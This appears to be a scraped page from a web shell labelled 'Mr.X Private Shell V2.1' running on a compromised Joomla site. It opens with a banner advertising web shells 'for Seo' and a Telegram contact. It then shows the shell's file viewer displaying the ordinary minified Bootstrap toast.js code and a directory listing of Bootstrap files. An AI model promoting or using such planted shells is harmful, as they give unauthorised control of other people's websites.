__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import{e as enableDismissTrigger,d as defineJQueryPlugin,B as BaseComponent,E as EventHandler,r as reflow,M as Manipulator,a as typeCheckConfig}from"./dom.min.js?5.1.3";const NAME="toast",DATA_KEY="bs.toast",EVENT_KEY=".bs.toast",EVENT_MOUSEOVER="mouseover.bs.toast",EVENT_MOUSEOUT="mouseout.bs.toast",EVENT_FOCUSIN="focusin.bs.toast",EVENT_FOCUSOUT="focusout.bs.toast",EVENT_HIDE="hide.bs.toast",EVENT_HIDDEN="hidden.bs.toast",EVENT_SHOW="show.bs.toast",EVENT_SHOWN="shown.bs.toast",CLASS_NAME_FADE="fade",CLASS_NAME_HIDE="hide",CLASS_NAME_SHOW="show",CLASS_NAME_SHOWING="showing",DefaultType={animation:"boolean",autohide:"boolean",delay:"number"},Default={animation:!0,autohide:!0,delay:5e3};class Toast extends BaseComponent{constructor(e,t){super(e),this._config=this._getConfig(t),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get DefaultType(){return DefaultType}static get Default(){return Default}static get NAME(){return NAME}show(){if(EventHandler.trigger(this._element,EVENT_SHOW).defaultPrevented)return;this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");this._element.classList.remove("hide"),reflow(this._element),this._element.classList.add("show"),this._element.classList.add("showing"),this._queueCallback((()=>{this._element.classList.remove("showing"),EventHandler.trigger(this._element,EVENT_SHOWN),this._maybeScheduleHide()}),this._element,this._config.animation)}hide(){if(!this._element.classList.contains("show"))return;if(EventHandler.trigger(this._element,EVENT_HIDE).defaultPrevented)return;this._element.classList.add("showing"),this._queueCallback((()=>{this._element.classList.add("hide"),this._element.classList.remove("showing"),this._element.classList.remove("show"),EventHandler.trigger(this._element,EVENT_HIDDEN)}),this._element,this._config.animation)}dispose(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),super.dispose()}_getConfig(e){return e={...Default,...Manipulator.getDataAttributes(this._element),..."object"==typeof e&&e?e:{}},typeCheckConfig(NAME,e,this.constructor.DefaultType),e}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(e,t){switch(e.type){case"mouseover":case"mouseout":this._hasMouseInteraction=t;break;case"focusin":case"focusout":this._hasKeyboardInteraction=t}if(t)return void this._clearTimeout();const s=e.relatedTarget;this._element===s||this._element.contains(s)||this._maybeScheduleHide()}_setListeners(){EventHandler.on(this._element,EVENT_MOUSEOVER,(e=>this._onInteraction(e,!0))),EventHandler.on(this._element,EVENT_MOUSEOUT,(e=>this._onInteraction(e,!1))),EventHandler.on(this._element,EVENT_FOCUSIN,(e=>this._onInteraction(e,!0))),EventHandler.on(this._element,EVENT_FOCUSOUT,(e=>this._onInteraction(e,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(e){return this.each((function(){const t=Toast.getOrCreateInstance(this,e);if("string"==typeof e){if(void 0===t[e])throw new TypeError(`No method named "${e}"`);t[e](this)}}))}}if(enableDismissTrigger(Toast),defineJQueryPlugin(Toast),window.bootstrap=window.bootstrap||{},window.bootstrap.Toast=Toast,Joomla&&Joomla.getOptions){const e=Joomla.getOptions("bootstrap.toast");"object"==typeof e&&null!==e&&Object.keys(e).forEach((t=>{const s=e[t],i={animation:!s.animation||s.animation,autohide:!s.autohide||s.autohide,delay:s.delay?s.delay:5e3},o=Array.from(document.querySelectorAll(t));o.length&&o.map((e=>new window.bootstrap.Toast(e,i)))}))}export{Toast as T};| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| alert.js | File | 2.85 KB | 0664 |
|
| alert.min.js | File | 1.23 KB | 0664 |
|
| alert.min.js.gz | File | 652 B | 0664 |
|
| bootstrap-es5.js | File | 402.99 KB | 0664 |
|
| bootstrap-es5.min.js | File | 139.87 KB | 0664 |
|
| bootstrap-es5.min.js.gz | File | 46.51 KB | 0664 |
|
| button.js | File | 2.62 KB | 0664 |
|
| button.min.js | File | 1.04 KB | 0664 |
|
| button.min.js.gz | File | 566 B | 0664 |
|
| carousel.js | File | 16.92 KB | 0664 |
|
| carousel.min.js | File | 9.52 KB | 0664 |
|
| carousel.min.js.gz | File | 3.03 KB | 0664 |
|
| collapse.js | File | 9.65 KB | 0664 |
|
| collapse.min.js | File | 5.3 KB | 0664 |
|
| collapse.min.js.gz | File | 1.81 KB | 0664 |
|
| dom.js | File | 37.09 KB | 0664 |
|
| dom.min.js | File | 17.02 KB | 0664 |
|
| dom.min.js.gz | File | 6.11 KB | 0664 |
|
| dropdown.js | File | 14.72 KB | 0664 |
|
| dropdown.min.js | File | 8.23 KB | 0664 |
|
| dropdown.min.js.gz | File | 2.86 KB | 0664 |
|
| modal.js | File | 16.61 KB | 0664 |
|
| modal.min.js | File | 8.9 KB | 0664 |
|
| modal.min.js.gz | File | 2.89 KB | 0664 |
|
| offcanvas.js | File | 7.3 KB | 0664 |
|
| offcanvas.min.js | File | 4.24 KB | 0664 |
|
| offcanvas.min.js.gz | File | 1.58 KB | 0664 |
|
| popover.js | File | 24.74 KB | 0664 |
|
| popover.min.js | File | 14.24 KB | 0664 |
|
| popover.min.js.gz | File | 4.18 KB | 0664 |
|
| popper.js | File | 58.55 KB | 0664 |
|
| popper.min.js | File | 24.17 KB | 0664 |
|
| popper.min.js.gz | File | 7.64 KB | 0664 |
|
| scrollspy.js | File | 8.43 KB | 0664 |
|
| scrollspy.min.js | File | 4.79 KB | 0664 |
|
| scrollspy.min.js.gz | File | 1.76 KB | 0664 |
|
| tab.js | File | 8.07 KB | 0664 |
|
| tab.min.js | File | 4.11 KB | 0664 |
|
| tab.min.js.gz | File | 1.6 KB | 0664 |
|
| toast.js | File | 6.45 KB | 0664 |
|
| toast.min.js | File | 3.63 KB | 0664 |
|
| toast.min.js.gz | File | 1.25 KB | 0664 |
|